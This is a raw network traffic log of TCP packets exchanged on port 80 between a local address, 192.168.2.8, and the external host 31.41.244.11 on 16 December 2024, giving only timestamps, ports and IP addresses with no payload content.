Dec 16, 2024 17:02:27.804395914 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.804409981 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.804436922 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.804461002 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.804461002 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.805314064 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.805330038 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.805346012 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.805356026 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.805368900 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.805389881 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.806179047 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.806195021 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.806221962 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.806224108 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.806238890 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.806267023 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.806927919 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.806942940 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.806958914 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.806968927 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.806973934 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.806988001 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.807002068 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.807019949 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.807760000 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.807775974 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.807790995 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.807811022 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.807838917 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.808727026 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.808743000 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.808758020 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.808773041 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.808784008 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.808794022 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.809753895 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.809770107 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.809784889 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.809792995 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.809803963 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.809812069 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.809828043 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.809847116 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.810416937 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.810432911 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.810440063 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.810484886 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.811220884 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.811238050 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.811265945 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.811290026 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.811372042 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.811412096 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.812068939 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.812103033 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.812117100 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.812118053 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.812136889 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.812140942 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.812153101 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.812182903 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.812957048 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.812983990 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.812998056 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.812999010 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.813014030 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.813035011 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.813806057 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.813821077 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.813836098 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.813842058 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.813886881 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.813886881 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.814517975 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.814533949 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.814549923 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.814555883 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.814567089 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.814573050 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.814589024 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.814604998 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.815258980 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.815274000 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.815288067 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.815304995 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.815326929 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.816020012 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.816034079 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.816049099 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.816071033 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.816107035 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.816808939 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.816823006 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.816848040 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.816848040 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.816864967 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.816874027 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.816890955 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.816957951 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.817441940 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.817456961 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.817471027 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.817481995 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.817498922 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.817517042 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.818172932 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.818192959 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.818207026 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.818222046 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.818327904 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.818978071 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.818994045 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.819006920 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.819015980 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.819022894 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.819044113 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.819072008 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.819706917 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.819721937 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.819736004 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.819746017 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.819766045 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.820359945 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.820404053 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.820408106 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.820424080 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.820445061 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.820482969 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.821207047 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.821222067 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.821235895 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.821250916 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.821263075 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.821291924 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.822040081 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.822077990 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.822082043 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.822098017 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.822118998 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.822130919 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.822765112 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.822779894 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.822793961 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.822849989 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.822849989 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.823584080 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.823599100 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.823612928 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.823620081 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.823631048 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.823641062 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.823657990 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.823673010 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.824440002 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.824462891 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.824477911 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.824485064 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.824498892 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.824517012 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.825196028 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.825211048 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.825225115 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.825237036 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.825256109 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.825273037 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.826164007 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.826179028 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.826193094 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.826199055 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.826209068 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.826215982 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.826231003 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.826250076 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.826838017 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.826852083 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.826867104 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.826878071 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.826905012 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.827575922 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.827590942 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.827605963 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.827622890 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.827640057 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.828388929 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.828407049 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.828421116 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.828423977 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.828437090 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.828442097 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.828459024 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.828475952 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.829308987 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.829324961 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.829340935 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.829349995 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.829368114 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.829384089 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.830079079 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.830094099 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.830107927 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.830113888 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.830130100 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.830147982 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.830848932 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.830863953 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.830878019 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.830885887 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.830904961 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.830918074 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.830966949 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.831687927 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.831702948 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.831731081 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.831748009 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.831751108 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.831779957 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.832541943 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.832557917 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.832571983 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.832577944 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.832597971 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.832613945 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.833338022 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.833353043 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.833368063 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.833379984 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.833384037 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.833399057 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.833430052 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.834256887 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.834274054 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.834287882 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.834295034 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.834312916 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.834328890 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.835189104 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.835211992 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.835236073 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.835244894 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.835279942 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.836101055 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.836114883 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.836128950 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.836137056 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.836144924 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.836154938 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.836170912 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.836185932 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.836558104 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.836572886 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.836592913 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.836608887 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.989152908 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.989276886 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.989289999 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.989391088 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.989391088 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.989391088 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.989521980 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.989532948 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.989545107 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.989581108 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.989629030 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.990154982 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.990169048 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.990209103 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.990223885 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.990377903 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.990389109 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.990398884 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.990417957 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.990432024 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.991056919 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.991123915 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.991179943 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.991192102 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.991219044 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.991231918 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.991547108 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.991586924 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.991652012 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.991664886 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.991692066 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.991709948 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.992048025 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.992086887 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.992325068 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.992372036 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.992415905 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.992427111 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.992455006 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.992471933 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.992763042 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.992806911 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.993148088 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.993246078 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.993257046 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.993274927 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.993288994 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.993681908 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.993737936 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.993890047 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.993930101 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.994013071 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.994024038 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.994054079 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.994071007 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.994409084 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.994461060 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.994832993 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.994879961 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.994962931 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.994975090 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.995002031 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.995023012 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.995296001 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.995340109 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.995727062 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.995767117 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.995902061 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.995913029 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.995939970 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.995959044 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.996210098 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.996247053 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.996602058 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.996642113 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.996716022 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.996726990 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.996756077 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.996773005 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.997159958 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.997229099 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.997473001 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.997515917 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.997615099 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.997625113 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.997652054 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.997673035 CET	49712	80	192.168.2.8	31.41.244.11
